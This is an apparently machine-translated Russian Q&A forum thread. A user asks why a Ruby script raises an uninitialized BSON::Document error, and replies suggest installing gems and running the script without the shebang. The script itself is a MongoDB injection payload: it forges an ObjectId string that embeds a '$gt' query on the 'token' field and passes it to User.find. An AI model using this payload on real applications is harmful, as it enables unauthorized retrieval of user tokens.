2016-11-10 3 views
0

Я пытаюсь выполнить код рубина на убунту 14.04 и при выполнении получая ошибку,неинициализированной постоянная BSON :: Документ

'': неинициализированная константу BSON :: Document (NameError)

Кода есть

#!/usr/bin/ruby 
require 'uri' 
require 'bson' 
require 'mongo' 
b = BSON::Document.new 
b["$query"] = {"token" => {"$gt"=>""}} 

payload = b.to_bson[4..-2] 
id_ish = ("\n\n" + "a"*24 + "\n\n") 

fake_id = "a"*24 + 
    "\x02_id\0".unpack('H*')[0] + 
    [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + 
    payload.unpack('H*')[0] 

puts URI.encode(fake_id) 

User.find fake_id 

Я прошел через документации, BSON Tutorial

Подумайте, что мне здесь не хватает. Любой указатель был бы оценен.

ответ

0

Похоже, что вы пытаетесь выполнить этот код «в вакууме».

require метод молча вернуться false, если не удалось. Кроме того, для выполнения кода вам нужны соответствующие драгоценные камни для установки. Прежде всего, запустите

$ gem install bson 
$ gem install mongo 

в вашей оболочке. Теперь повторите попытку со своим скриптом. Драгоценные камни выше должны сделать все нормально. Если нет, вам нужно настроить рубиновую среду, есть много учебников по этому вопросу.

Там также может быть проблема с системой/локального рубина (hashbang строка предписывает выполнить одну систему.) Попробуйте удалить эту строку и запустить скрипт с

$ ruby script_name.rb 
+0

У меня уже есть упомянутые выше пакеты установлено, здесь камня запрос --local *** МЕСТНЫЕ GEMS *** BSON (4.1.1) монго (2.3.1) Я попробую ваш следующий вариант настройки рубиновых сред. – P4cK3tHuNt3R

+0

Подождите. Возможно, проблема связана с системным/локальным рубином. Попробуйте удалить строку hashbang (первая) из сценария и выполнить ее с помощью ruby ​​FILE_NAME.rb'. – mudasobwa

Смежные вопросы